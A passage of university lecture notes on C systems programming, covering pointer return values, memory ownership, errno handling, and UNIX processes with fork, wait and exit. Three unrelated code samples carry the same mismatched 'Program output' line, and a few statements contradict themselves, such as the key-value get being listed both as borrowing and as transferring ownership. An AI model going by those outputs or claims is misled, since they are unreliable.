this case "clone"), it will avoid allocating a
copy of that string, and will just reuse the previous value.
Generally, it doesn’t make much sense to look at the address
of strings, and certainly you should not compare them. You
can see in this example how you must compare strings for
equality using strncmp, and not to
compare pointers.
When programming in C, you’ll see quite a few APIs.
Throughout the class, we’ll see quite a few APIs, most
documented in man pages. It takes some practice
in reading man pages to get what you need from
them. One of the things that helps the most is to understand
a few common patterns and requirements
that you find these APIs, and in C programming in
general.
Functions often need to return multiple values. C does not provide a means to return more than one value, thus is forced to use pointers. To understand this, lets look at the multiple ways that pointers can be used as function arguments.
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
/*
* `arg` is used to pass an argument that happens to be an array here. In contrast,
* `ret` is a *second return value*. This function will set the value that `ret` points
* to -- which happens to be `retval` in the `main` stack frame -- to the value we are
* getting from the array.
*/
int
get(int *arg, int offset, int *ret)
{
if (arg == NULL) return -1;
*ret = arg[offset];
return 0;
}
/*
* Again, the array is passed in as the first argument, but this time it is used to
* store the new value.
*/
int
set(int *ret_val, int offset, int value)
{
if (ret_val == NULL) return -1;
ret_val[offset] = value;
return 0;
}
/*
* `arrdup`'s job is to duplicate an array by allocating and populating
* a new array. It will return `0` or not `0` on success/failure. Thus
* the new array must be returned using pointer arguments. `ret_allocated`
* is a pointer to a pointer to an array in the calling function, and it
* is used to return the new array.
*/
int
arrdup(int **ret_allocated, int *args, size_t args_size)
{
size_t i;
int *newarr;
if (ret_allocated == NULL) return -1;
newarr = calloc(args_size, sizeof(int)); /* 1 below */
if (newarr == NULL) return -1;
for (i = 0; i < args_size; i++) {
newarr[i] = args[i];
}
*ret_allocated = newarr; /* 2 and 3 below */
return 0;
}
/*
* Lets draw this one. The stack setup when we call `arrdup`:
*
* | |
* +-main----------+
* | arr |<---+
* | dup |<-+ |
* | ... | | |
* +-arrdup--------+ | |
* | ret_allocated |--+ |
* | args |----+
* | ... |
* +---------------+
*
* `ret_allocated` points to `dup` in `main`.
*
*
* 3. *ret_allocated = newarr
* ^
* |
* ,-------------'
* |
* | | |
* +-main----|-----+
* | arr | |
* | dup ---' <------+
* | ... | | -- 2. *ret_allocated
* +-arrdup--------+ |
* | ret_allocated ---+
* | args |
* | newarr --------------> 1. calloc(...)
* +---------------+
*
* 1. `arrdup` calls `calloc` to allocate on the heap
* 2. Dereferencing `ret_allocated` gives us access to `dup`
* 3. thus we can set dup equal to the new heap memory
*
* This effectively enables us to return the new memory into the
* `dup` variable in main.
*/
int
main(void)
{
int arr[] = {0, 1, 2, 3};
int *dup;
int retval;
assert(get(arr, 2, &retval) == 0 && retval == 2);
assert(set(arr, 2, 4) == 0);
assert(get(arr, 2, &retval) == 0 && retval == 4);
assert(arrdup(&dup, arr, 4) == 0);
assert(get(dup, 2, &retval) == 0 && retval == 4);
free(dup);
printf("no errors!");
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
One of the last, but most challenging aspects of APIs in
C is that of memory ownership. The big question is: when a
pointer passed into a function, or returned from a function,
who is responsible for freeing the memory? This
is due to a combination of factors, mainly:
freed,
so someone has to do it, and it should be freed
only once, andIt is easiest to understand this issue through the concept of ownership: simply put, the owner of a piece of memory is the one that should either free it, or pass it to another part of the code that becomes the owner. In contrast, a caller can pass a pointer to memory into a function allowing it to borrow that memory, but the function does not free it, and after it returns it should not further access the memory. There are three general patterns:
A caller passes a pointer into a function,
and passes the ownership of that data to the
function. This is common for data-structures whose job is to
take a pointer of data to store, and at that point, they own
the memory. Think: if we enqueue data into a
queue.
Examples: The key-value store’s
put function owns the passed in data (assuming
it takes a void *.
A function returns a pointer to the function
caller and passes the ownership to the caller. The
caller must later free the data. This is also
common in data-structures when we wish to retrieve the data.
Think: if we dequeue data from a queue.
Examples: strdup creates a
new string, expecting the caller to free it.
A caller passes a pointer into a function,
but only allows the function to borrow the data.
Thus the caller still owns the memory (thus is still
responsible to free the data) after the
function returns, and the function should not
maintain any references to the data. Think: most of the
string functions that take a string as an argument, perform
some operation on it, and return expecting the caller to
still free the string.
Examples: Most other functions we’ve seen borrow pointers, perform operations, and then don’t maintain references to them.
A function returns a pointer to the function
caller that enables the caller to borrow the data.
This requires a difficult constraint: the caller can access
the data, but must not maintain a pointer to it after the
function or API (that still owns the data)
frees it.
Examples: The key-value store’s
get function transfers ownership to the
caller.
The memory ownership constraints are an agreement between the calling function, and a function being called.
An old interview question:
How can you write a function that determines if the execution stack grows upwards (from lower addresses to higher), or downwards?
Write this function!
Lets look at a simple key-value store that needs to learn to be more careful about memory. Above each function, we specify the ownership of pointers being passed – either passing ownership, or borrowing the memory. The current implementations do not adhere to these specifications.
#include <string.h>
#include <stdlib.h>
/*
* Lets just use a single key/value as a proxy for an entire kv/store.
* You can assume that the stored values are strings, so `strdup` can
* allocate the memory for and copy the values. You absolutely will
* have to use `strdup` in some of the functions.
*/
static int kv_key;
static char *kv_value;
/**
* The returned value should not be maintained in the data-structure
* and should be `free`d by the caller.
*/
char *
get_pass_ownership(int key)
{
if (key != kv_key) return NULL;
return kv_value;
}
/**
* Pointers to the returned value are maintained in this data-structure
* and it will be `free`d by the data-structure, not by the caller
*/
char *
get_borrow(int key)
{
if (key != kv_key) return NULL;
return kv_value;
}
/**
* Pointers to the `value` passed as the second argument are maintained by
* the caller, thus the `value` is borrowed here. The `value` will be `free`d
* by the caller.
*/
void
set_borrow(int key, char *value)
{
/* What do we do with `kv_value`? Do we `strdup` anything? */
kv_key = key;
kv_value = value;
return;
}
/**
* Pointers to the `value` passed as the second argument are not maintained by
* the caller, thus the `value` should be `free`d by this data-structure.
*/
void
set_pass_ownership(int key, char *value)
{
/* What do we do with `kv_value`? Do we `strdup` anything? */
kv_key = key;
kv_value = value;
return;
}
int
main(void)
{
/* The values we pass in. */
char *v_p2p = strdup("value1"); /* calls `malloc` ! */
char *v_p2b = strdup("value2");
char *v_b2p = strdup("value3");
char *v_b2b = strdup("value4");
/* The return values */
char *r_p2p, *r_p2b, *r_b2p, *r_b2b;
/* p2p: passing ownership on set, passing ownership on get */
set_pass_ownership(0, v_p2p);
r_p2p = get_pass_ownership(0);
/* The question: should we `free(v_p2p)`?, `free(r_p2p)`? */
/* p2b: passing ownership on set, borrowing memory for get */
set_pass_ownership(0, v_p2b);
r_p2b = get_borrow(0);
/* The question: should we `free(v_p2b)`?, `free(r_p2b)`? */
/* b2p: borrowing ownership on set, passing ownership on get */
set_borrow(0, v_b2p);
r_b2p = get_pass_ownership(0);
/* The question: should we `free(v_b2p)`?, `free(r_b2p)`? */
/* b2b: borrowing ownership on set, borrowing on get */
set_borrow(0, v_b2b);
r_b2b = get_borrow(0);
/* The question: should we `free(v_b2b)`?, `free(r_b2b)`? */
if (kv_value) free(kv_value);
printf("Looks like success!...but wait till we valgrind; then ;-(\n");
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
The above code is hopelessly broken. Run it in valgrind to see.
Tasks:
malloc/free/strdup
operations that are necessary both in the key-value
implementation, and in the client (main) to
make both the caller and callee abide by the memory
ownership constraints.main? Why?get/set) be used? Why?Sometimes, errors happen…
The first question is how we can detect that some error occurred within a function we have called?
When errors occur
| functions return | error indicator | example |
|---|---|---|
| integers | negative values | |
| pointers | ||
| structs | fields in struct | user defined |
[*check out the return value of
printf()]
As seen above, we separate functions into two different classes:
type *fn(...)) are often relatively
straightforward. If they return NULL, then an
error occurred; otherwise the returned pointer can be used.
malloc is an example here.-1 to indicate an
error. Sometimes any negative value indicates an
error, each negative value designating that a different
error occurred. Non-negative values indicate success. If a
function wishes to return a binary success or failure,
you’ll see that many APIs (counter-intuitively) return
0 for success, and -1 for
failure.It is common that you want more information than a single return value can give you. So, we can define our own struct,
struct ret_type{
int a;
char* carray ;
unsigned int error_number ;
char error_name[255] ;
} ;
errno variable and commandUNIX/C have some mechanisms that actually help (instead
of defining our own structs). They define a
variable, errno, defined in
<error.h>.
errno is simply an integer where specific
values represent specific errors. You can view these values
by looking them up in the source7.
Or, you can ask the errno program^
(yes, the same name, confusing!), the command line utility
(you might need to do apt-get install moreutils
to get the errno program to work if you’re
using your own system) used as follows:
$ errno 12
Output:
ENOMEM 12 Cannot allocate memory
You can imagine why this error might occur – your system ran out of memory or you asked for too much!
If we want to see a full list of all
possible errno values and their meanings, we
do:
$ errno -l
Output (prints all of the error numbers and codes):
EPERM 1 Operation not permitted
ENOENT 2 No such file or directory
ESRCH 3 No such process
EINTR 4 Interrupted system call
EIO 5 Input/output error
ENXIO 6 No such device or address
E2BIG 7 Argument list too long
ENOEXEC 8 Exec format error
EBADF 9 Bad file descriptor
ECHILD 10 No child processes
EAGAIN 11 Resource temporarily unavailable
ENOMEM 12 Cannot allocate memory
EACCES 13 Permission denied
EFAULT 14 Bad address
ENOTBLK 15 Block device required
EBUSY 16 Device or resource busy
EEXIST 17 File exists
EXDEV 18 Invalid cross-device link
ENODEV 19 No such device
ENOTDIR 20 Not a directory
EISDIR 21 Is a directory
EINVAL 22 Invalid argument
ENFILE 23 Too many open files in system
EMFILE 24 Too many open files
ENOTTY 25 Inappropriate ioctl for device
ETXTBSY 26 Text file busy
EFBIG 27 File too large
ENOSPC 28 No space left on device
ESPIPE 29 Illegal seek
EROFS 30 Read-only file system
EMLINK 31 Too many links
EPIPE 32 Broken pipe
EDOM 33 Numerical argument out of domain
ERANGE 34 Numerical result out of range
EDEADLK 35 Resource deadlock avoided
ENAMETOOLONG 36 File name too long
ENOLCK 37 No locks available
ENOSYS 38 Function not implemented
ENOTEMPTY 39 Directory not empty
ELOOP 40 Too many levels of symbolic links
EWOULDBLOCK 11 Resource temporarily unavailable
ENOMSG 42 No message of desired type
EIDRM 43 Identifier removed
ECHRNG 44 Channel number out of range
EL2NSYNC 45 Level 2 not synchronized
EL3HLT 46 Level 3 halted
EL3RST 47 Level 3 reset
ELNRNG 48 Link number out of range
EUNATCH 49 Protocol driver not attached
ENOCSI 50 No CSI structure available
EL2HLT 51 Level 2 halted
EBADE 52 Invalid exchange
EBADR 53 Invalid request descriptor
EXFULL 54 Exchange full
ENOANO 55 No anode
EBADRQC 56 Invalid request code
EBADSLT 57 Invalid slot
EDEADLOCK 35 Resource deadlock avoided
EBFONT 59 Bad font file format
ENOSTR 60 Device not a stream
ENODATA 61 No data available
ETIME 62 Timer expired
ENOSR 63 Out of streams resources
ENONET 64 Machine is not on the network
ENOPKG 65 Package not installed
EREMOTE 66 Object is remote
ENOLINK 67 Link has been severed
EADV 68 Advertise error
ESRMNT 69 Srmount error
ECOMM 70 Communication error on send
EPROTO 71 Protocol error
EMULTIHOP 72 Multihop attempted
EDOTDOT 73 RFS specific error
EBADMSG 74 Bad message
EOVERFLOW 75 Value too large for defined data type
ENOTUNIQ 76 Name not unique on network
EBADFD 77 File descriptor in bad state
EREMCHG 78 Remote address changed
ELIBACC 79 Can not access a needed shared library
ELIBBAD 80 Accessing a corrupted shared library
ELIBSCN 81 .lib section in a.out corrupted
ELIBMAX 82 Attempting to link in too many shared libraries
ELIBEXEC 83 Cannot exec a shared library directly
EILSEQ 84 Invalid or incomplete multibyte or wide character
ERESTART 85 Interrupted system call should be restarted
ESTRPIPE 86 Streams pipe error
EUSERS 87 Too many users
ENOTSOCK 88 Socket operation on non-socket
EDESTADDRREQ 89 Destination address required
EMSGSIZE 90 Message too long
EPROTOTYPE 91 Protocol wrong type for socket
ENOPROTOOPT 92 Protocol not available
EPROTONOSUPPORT 93 Protocol not supported
ESOCKTNOSUPPORT 94 Socket type not supported
EOPNOTSUPP 95 Operation not supported
EPFNOSUPPORT 96 Protocol family not supported
EAFNOSUPPORT 97 Address family not supported by protocol
EADDRINUSE 98 Address already in use
EADDRNOTAVAIL 99 Cannot assign requested address
ENETDOWN 100 Network is down
ENETUNREACH 101 Network is unreachable
ENETRESET 102 Network dropped connection on reset
ECONNABORTED 103 Software caused connection abort
ECONNRESET 104 Connection reset by peer
ENOBUFS 105 No buffer space available
EISCONN 106 Transport endpoint is already connected
ENOTCONN 107 Transport endpoint is not connected
ESHUTDOWN 108 Cannot send after transport endpoint shutdown
ETOOMANYREFS 109 Too many references: cannot splice
ETIMEDOUT 110 Connection timed out
ECONNREFUSED 111 Connection refused
EHOSTDOWN 112 Host is down
EHOSTUNREACH 113 No route to host
EALREADY 114 Operation already in progress
EINPROGRESS 115 Operation now in progress
ESTALE 116 Stale file handle
EUCLEAN 117 Structure needs cleaning
ENOTNAM 118 Not a XENIX named type file
ENAVAIL 119 No XENIX semaphores available
EISNAM 120 Is a named type file
EREMOTEIO 121 Remote I/O error
EDQUOT 122 Disk quota exceeded
ENOMEDIUM 123 No medium found
EMEDIUMTYPE 124 Wrong medium type
ECANCELED 125 Operation canceled
ENOKEY 126 Required key not available
EKEYEXPIRED 127 Key has expired
EKEYREVOKED 128 Key has been revoked
EKEYREJECTED 129 Key was rejected by service
EOWNERDEAD 130 Owner died
ENOTRECOVERABLE 131 State not recoverable
ERFKILL 132 Operation not possible due to RF-kill
EHWPOISON 133 Memory page has hardware error
ENOTSUP 95 Operation not supported
The C standard library includes two additional helper functions for dealing with errors:
| function | operation | defined in |
|---|---|---|
perror() |
print an error to the console,
corresponding to |
error.h |
strerror() |
return a string
corresponding to |
string.h |
Check out their man pages for more
information.
Consider the following example for understanding the use
of perror() and strerror():
/* CSC 2410 Code Sample
* intro to error handling in C
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <errno.h>
#include <string.h>
#include <limits.h>
int main()
{
// try to create an array of LONG_MAX size,
// i.e. 9223372036854775807 bytes!
char* massive_array = (char*) malloc(LONG_MAX) ;
// Check if array was created
if( !massive_array )
{
// Uh oh! Looks like Array creation failed.
// print the errno
printf( "errno = %d\n", errno ) ;
// Send custom error message and also print system message
perror( "My Massive Array creation failed!" ) ;
}
// can set errno explicitly
errno = 100 ;
char* error_string = strerror(errno) ;
printf( "\nerrno = %d\t (standard) String = %s\n", errno, error_string ) ;
// can give it any input, really
unsigned int my_errno = 9999 ;
error_string = strerror( my_errno ) ;
printf( "\nmy_errno = %d\t (custom) String = %s\n", my_errno, error_string ) ;
printf("\n") ;
return 0 ;
}
Program output:
array = 3 2341 2344 8632 747645
Note: look up <limits.h>
that defines some useful constants such as
INT_MAX, INT_MIN,
LONG_MAX, etc.
Note: when you return from a program
with a non-zero value, it designates that your
program had an error. This is why we see the
make error when it runs your program.
Look at the function return values to understand the type
(and identify if it is returning an int or a
pointer).
SYNOPSIS
#include <stdlib.h>
void *malloc(size_t size);
...
RETURN VALUE and
ERRORS sections of the man page.RETURN VALUE
The malloc() and calloc() functions return a pointer to the allocated memory, which is suitably aligned for
any built-in type. On error, these functions return NULL. NULL may also be returned by a successful call to
malloc() with a size of zero, or by a successful call to calloc() with nmemb or size equal to zero.
...
ERRORS
calloc(), malloc(), realloc(), and reallocarray() can fail with the following error:
ENOMEM Out of memory.
...
This explains why we got the error we did.
Write a function named,
print_error_codes(), to print all the
error codes and their corresponding strings in
sequence, in the following format:
Error No String
-------------------
1 Operation not permitted
2 No such file or directory
...
Programming is hard. Really hard. When you write a program, you have to consider complex logic and the design of esoteric data-structures, all while desperately trying to avoid errors. It is an exercise that challenges all of our logical, creative, and risk management facilities. As such, programming is the act of methodically conquering complexity with our ability to abstract. We walk on the knives-edge of our own abstractions where we can barely, just barely, make progress and engineer amazing systems.
Imagine if when programming and debugging, we had to consider the actions and faults of all other programs running in the system? If your program crashed because one of your colleagues’ program had a bug, how could you make progress?
Luckily, we stand on the abstractions of those that came before us. A key abstraction provided by systems is that of isolation - that one program cannot arbitrarily interfere with the execution of another. This isolation is a core provision of Operating Systems (OSes), and a core abstraction they provide is the process. At the highest-level, each process can only corrupt its own memory, and a process that goes into an infinite loop cannot prevent another process for executing.
A process has a number of properties including:
printf, we interact with the descriptor to
output to the terminal. The OS prevents processes from
accessing and changing resources they shouldn’t have access
to.pid).pwd.sibin) for whom the
process executes on the behalf of.Throughout the class we’ll uncover more and more of these properties, but in this lecture, we’ll focus on the lifecycle of a process, and its relationship to its parent. Processes are the abstraction that provide isolation between users, and between computations, thus it is the core of the security of the system.
UNIX is an old system, having its origins in 1969 at Bell Labs when it was created by Ken Thompson and Dennis Ritchie8. Time has shown it is an “oldie but goodie” – as most popular OSes are derived from it (OSX, Linux, Android, …). In the OS class, you’ll dive into an implementation of UNIX very close to what it was in those early years! The original paper is striking in how uninteresting it is to most modern readers. UNIX is so profound that it has defined what is “normal” in most OSes.
UNIX Philosophy: A core philosophy of UNIX is that applications should not be written as huge monolithic collections of millions of lines of code, and should instead be composed of smaller programs, each focusing on “doing one thing well”. Programs focus on inputting text, and outputting text. Pipelines of processes take a stream of text, and process on it, process after process to get an output. The final program is a composition of these processes composed to together using pipelines.
In the early years, many different UNIX variants were
competing for market-share along-side the likes of DOS,
Windows, OS2, etc… This led to differences between the UNIX
variants which prevented programmers from effectively
writing programs that would work across the variants. In
response to this, in the late 1980s, POSIX standardized many
aspects of UNIX including command-line programs and the
standard library APIs. man pages are
documentation for what is often part of the POSIX
specification. I’ll use the term UNIX throughout the class,
but often mean POSIX. You can think of Linux as an
implementation of POSIX and as a variant of UNIX.
UNIX has been taken into many different directions. Android and iOS layer a mobile runtime on top of UNIX; OSX and Ubuntu layer modern graphics and system management on top of UNIX, and even Windows Subsystem for Linux (WSL) enables you to run a POSIX environment inside of Windows. In many ways, UNIX has won. However, it has won be being adapted to different domains – you might be a little hard-pressed looking at the APIs for some of those systems to understand that it is UNIX under the hood. Regardless, in this class, we’ll be diving into UNIX and its APIs to better understand the core technology underlying most systems we use.
The core UNIX philosophy endures, but has changed shape.
In addition to the pervasive deployment of UNIX, Python is
popular as it is has good support to compose together
disparate services and libraries, and applications are
frequently compositions of various REST/CRUD webservice
APIs, and json is the unified language in which
data is shared. # Processes
Consider the following UNIX/Linux command:
$ ps
The output looks like:
PID TTY TIME CMD
2384593 pts/15 00:00:00 bash
2384610 pts/15 00:00:00 ps
This shows that two processes are running, for the
current user: - bash: the shell/terminal
that is running (where you are typing yoru commands) -
ps: the command we just ran to see the lis of
processes
We can expand this by providing some
flags to ps,
e.g.,
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 170060 14172 ? Ss Oct17 2:48 /sbin/init
root 2 0.0 0.0 0 0 ? S Oct17 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< Oct17 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< Oct17 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< Oct17 0:00 [kworker/0:0H-kblockd]
root 9 0.0 0.0 0 0 ? I< Oct17 0:00 [mm_percpu_wq]
root 10 0.0 0.0 0 0 ? S Oct17 0:05 [ksoftirqd/0]
root 11 0.1 0.0 0 0 ? I Oct17 13:03 [rcu_sched]
root 12 0.0 0.0 0 0 ? S Oct17 0:01 [migration/0]
root 13 0.0 0.0 0 0 ? S Oct17 0:00 [idle_inject/0]
root 15 0.0 0.0 0 0 ? S Oct17 0:00 [cpuhp/0]
root 16 0.0 0.0 0 0 ? S Oct17 0:00 [cpuhp/1]
root 17 0.0 0.0 0 0 ? S Oct17 0:00 [idle_inject/1]
root 18 0.0 0.0 0 0 ? S Oct17 0:03 [migration/1]
root 19 0.0 0.0 0 0 ? S Oct17 0:01 [ksoftirqd/1]
root 21 0.0 0.0 0 0 ? I< Oct17 0:00 [kworker/1:0H-kblockd]
root 23 0.0 0.0 0 0 ? S Oct17 0:00 [cpuhp/2]
root 24 0.0 0.0 0 0 ? S Oct17 0:00 [idle_inject/2]
root 25 0.0 0.0 0 0 ? S Oct17 0:04 [migration/2]
root 26 0.0 0.0 0 0 ? S Oct17 0:01 [ksoftirqd/2]
root 28 0.0 0.0 0 0 ? I< Oct17 0:00 [kworker/2:0H-kblockd]
root 29 0.0 0.0 0 0 ? S Oct17 0:00 [cpuhp/3]
root 30 0.0 0.0 0 0 ? S Oct17 0:00 [idle_inject/3]
root 31 0.0 0.0 0 0 ? S Oct17 0:04 [migration/3]
root 32 0.0 0.0 0 0 ? S Oct17 0:01 [ksoftirqd/3]
root 34 0.0 0.0 0 0 ? I< Oct17 0:00 [kworker/3:0H]
root 35 0.0 0.0 0 0 ? S Oct17 0:00 [cpuhp/4]
root 36 0.0 0.0 0 0 ? S Oct17 0:00 [idle_inject/4]
root 37 0.0 0.0 0 0 ? S Oct17 0:04 [migration/4]
root 38 0.0 0.0 0 0 ? S Oct17 0:01 [ksoftirqd/4]
root 40 0.0 0.0 0 0 ? I< Oct17 0:00 [kworker/4:0H-kblockd]
root 41 0.0 0.0 0 0 ? S Oct17 0:00 [cpuhp/5]
...
Note: we see the list of processes for all users. The above is not a complete list, as it would have been really long.
We can filter out results too…
[sibin@ubuntu-vlab01 ~] ps aux | grep sibin
root 2384373 0.0 0.0 14984 9936 ? Ss 17:14 0:00 sshd: sibin [priv]
sibin 2384387 0.0 0.0 18744 9960 ? Ss 17:14 0:00 /lib/systemd/systemd --user
sibin 2384388 0.0 0.0 172308 6144 ? S 17:14 0:00 (sd-pam)
sibin 2384397 0.0 0.0 277760 14352 ? Ssl 17:14 0:00 /usr/bin/pulseaudio --daemonize=no --log-target=journal
sibin 2384399 0.0 0.0 508784 24620 ? SNsl 17:14 0:00 /usr/libexec/tracker-miner-fs
sibin 2384407 0.0 0.0 8248 5228 ? Ss 17:14 0:00 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
sibin 2384426 0.0 0.0 237112 7560 ? Ssl 17:14 0:00 /usr/libexec/gvfsd
sibin 2384431 0.0 0.0 312808 6600 ? Sl 17:14 0:00 /usr/libexec/gvfsd-fuse /run/user/1003/gvfs -f -o big_writes
sibin 2384439 0.0 0.0 312076 9944 ? Ssl 17:14 0:00 /usr/libexec/gvfs-udisks2-volume-monitor
sibin 2384450 0.0 0.0 314124 9044 ? Ssl 17:14 0:00 /usr/libexec/gvfs-afc-volume-monitor
sibin 2384455 0.0 0.0 235512 7096 ? Ssl 17:14 0:00 /usr/libexec/gvfs-gphoto2-volume-monitor
sibin 2384460 0.0 0.0 233276 6140 ? Ssl 17:14 0:00 /usr/libexec/gvfs-goa-volume-monitor
sibin 2384464 0.0 0.0 550560 34816 ? Sl 17:14 0:00 /usr/libexec/goa-daemon
sibin 2384471 0.0 0.0 312152 9144 ? Sl 17:14 0:00 /usr/libexec/goa-identity-service
sibin 2384477 0.0 0.0 233100 6288 ? Ssl 17:14 0:00 /usr/libexec/gvfs-mtp-volume-monitor
sibin 2384592 0.0 0.0 15136 6736 ? S 17:14 0:00 sshd: sibin@pts/15
sibin 2384593 0.0 0.0 9420 6088 pts/15 Ss 17:14 0:00 -bash
sibin 2385179 0.0 0.0 9760 3996 pts/15 R+ 17:19 0:00 ps aux
sibin 2385180 0.0 0.0 6432 2620 pts/15 S+ 17:19 0:00 grep --color sibin
The above command (ps aux | grep sibin) is
sending the output of one command, ps aux to
the input of another command, grep sibin (using
a “pipe”). Hence, we are only listing those lines
from the output of ps aux that has a string
that matches the word, sibin.
Note: neither command/process
(ps/grep) needs to be aware of
each other. hey both carry out their normal functionality.
It if the beauty and elgance of the UNIX design that allows
this chaining of processes to work as well as it does.
Technically most UNIX commands/processes can be
chained together to get very advance functionality from very
simple components.
pidpwdsibin
``
fork()Create a new, child, process → from the state of the calling process
Defined in <unistd.h>.
fork()

Let’s take a look at all the function available in
C for dealing with processes.
| name | action |
|---|---|
fork |
create process |
getpid |
get ID of process |
getppid |
get ID of parent |
exit |
terminate a process |
wait |
parent waiting for child to exit |
exec |
new program from current process 9. |
pdt_t<sys/types.h>intfork()A very simple interface, for a very complex mechanism!
pid_t fork(void);
The new (“child”) process get a copy of the resources as shown before:
Note: some important nuances: - the
child starting executing from the
fork() instruction onwards! - all
previous instructions don’t matter for the child - the
parent, on the other hand, will also continue to
execute, in parallel with the
child.
/* CSC 2410 Code Sample
* intro to fork
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main()
{
printf( "BEFORE calling fork()" ) ;
pid_t pid = fork() ;
printf( "AFTER calling fork()" ) ;
printf( "\n" ) ;
return 0 ;
}
The output from the above code:
BEFORE calling fork()AFTER calling fork()
BEFORE calling fork()AFTER calling fork()
Hold on a second! We said that the child starts executing
from the fork() instruction
and not before. So, why is the
BEFORE calling fork() being printed
twice? We should, ideally, see the following
behavior: - one instance of
BEFORE calling fork() → parent only -
two instances of AFTER calling fork()
→ parent and child
We are seeing a side-effect/vagary of the implementation of
printf()and really any function that outputs to a standard destination e.g.,stdio(standard input/output),stderr(standard error), etc. These output “locations” (rather called, “streams) are buffered, i.e., instead of immediately writing to the screen (in the case ofstdio), the string/data are written to temporary inernal buffer that is then periodically cleansed (i.e., written out to the screen). The buffers are cleared out in the following situations: - when the buffer gets full (different systems have varied sizes, e.g.,64k) - when the buffer is explicitly flushed, e.g., usingstdout- when a newline character (\n) is printed
So, in the above code example, while the first
printf() is written only once (by the
parent), the printf("\n") statement is present
in both, parent and child. Remember that when a fork
happens, the child gets a copy of all resources of
the parent and that include the output buffer – which, at
that point, includes the BEFORE calling fork()
text. After the fork(), there are two
processes with unflushed output buffers, the parent and the
child. Hence, the \n causes both
buffers to be flushed thus resulting in the above
output.
There are two ways to fix this problem and get the
desired behavior: 1. add \n to the end of
Every printf() 2. force a flush after
every printf() or perhaps just before every
fork()
The call to flush a stream is:
int fflush( FILE* stream ) ;
defined in <stdio.h>.
So, we let’s look at the above code again, this time with
fflush (since the \n method is
trivial and is left as an exercise):
/* CSC 2410 Code Sample
* intro to fork
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main()
{
printf( "BEFORE calling fork()" ) ;
fflush(stdout) ; // to flush the standard output
pid_t pid = fork() ;
printf( "AFTER calling fork()" ) ;
printf( "\n" ) ;
return 0 ;
}
The output is:
BEFORE calling fork()AFTER calling fork()
AFTER calling fork()
See man fflush for more information.
fork() return valuesNow, let’s look back at the interface for:
pid_t fork(void);
We see that is returns a pid_t.
fork() returns two distinct values,
depending on which process the call is returning to:
| return value | called from | meaning |
|---|---|---|
| actual pid | parent | child created |
0 |
child | inside child |
fork
QuestionsHow many processes (not including the initial one) are created in the following?
#include <unistd.h>
int
main(void)
{
fork();
fork();
return 0;
}What are the possible outputs for:
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
int
main(void)
{
pid_t parent = getpid();
pid_t child;
child = fork();
if (getpid() == parent) {
printf("p");
wait(NULL); /* why is `NULL` OK here? */
printf("w");
} else {
printf("c");
}
return 0;
}wait()Parents are responsible for managing their children!

so, they…wait()!
pid_t wait(int *wstatus)
defined in <sys/wait.h>
A child changes “state” if one of following happens: - child terminated/exited - child was stopped by a signal * - child was resumed by a signal
[* will discuss signals later]
| child status | action |
|---|---|
| already changed | return immediately to parent |
| executing normally | parent waits/blocks for child |
wait() return value| return value | meaning |
|---|---|
pid via pid_t |
pid of terminated child |
-1 |
error |
/* CSC 2410 Code Sample
* intro to fork() and wait()
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
int main()
{
pid_t child_pid ;
pid_t parent ;
printf( "------------------------------\n" ) ;
printf( ":::BEFORE::: \
getpid() = %d \
parent = %d \
child = %d\n",
getpid(), child_pid, parent ) ;
printf( "------------------------------\n" ) ;
// create 5 children
for( unsigned int i = 0 ; i < 5 ; ++i )
{
child_pid = fork() ;
// make sure the children don't create more children!
if(!child_pid)
break ;
}
// wait for the kids
int wait_status ;
pid_t wait_result = wait( &wait_status ) ;
printf( ":::AFTER::: " ) ;
child_pid ? printf( "---PARENT!--- " ) : printf( "---CHILD!--- " ) ;
printf( "getpid() = %d \
parent = %d \
child = %d\n",
getpid(), child_pid, parent ) ;
printf( "\n" ) ;
return 0 ;
}
Note: the output can vary! Depends on which process gets to writing its buffer first.
------------------------------
:::BEFORE::: getpid() = 2492442 parent = 1612788000 child = 374366320
------------------------------
:::AFTER::: ---CHILD!--- getpid() = 2492443 parent = 0 child = 374366320
:::AFTER::: ---CHILD!--- getpid() = 2492444 parent = 0 child = 374366320
:::AFTER::: ---CHILD!--- getpid() = 2492445 parent = 0 child = 374366320
:::AFTER::: ---PARENT!--- getpid() = 2492442 parent = 2492447 child = 374366320
:::AFTER::: ---CHILD!--- getpid() = 2492446 parent = 0 child = 374366320
:::AFTER::: ---CHILD!--- getpid() = 2492447 parent = 0 child = 374366320
OR
------------------------------
:::BEFORE::: getpid() = 2492454 parent = -2016386784 child = 780062336
------------------------------
:::AFTER::: ---CHILD!--- getpid() = 2492455 parent = 0 child = 780062336
:::AFTER::: ---CHILD!--- getpid() = 2492456 parent = 0 child = 780062336
:::AFTER::: ---CHILD!--- getpid() = 2492457 parent = 0 child = 780062336
:::AFTER::: ---CHILD!--- getpid() = 2492458 parent = 0 child = 780062336
:::AFTER::: ---PARENT!--- getpid() = 2492454 parent = 2492459 child = 780062336
:::AFTER::: ---CHILD!--- getpid() = 2492459 parent = 0 child = 780062336
OR many other combinations. We are seeing the inherent nondeterminism in parallel execution.
A minor detour. One may ver well be confused about the difference between a “process” and a “thread”. The main difference is that a process, owns resources while a thread is just a unit of execution. This table should help clarify the difference:
| process | thread |
|---|---|
| owns resources | unit of execution |
| isolation | share memory |
| system call* | no system call* |
* for creation: i.e., the creation of a process is a system call, i.e., we need to ask the operating system to help us since the OS is what allocates resources to newly formed procsses. A new thread, on the other hand, doesn’t require us to invoke a system call and is often created using user-space libraries (*e.g., look up pthreads).
exit()exit is the function that used to terminate
the current process.
void exit(int status);
as defined in <stdlib.h. The input
argument is the exit status:
| value | meaning |
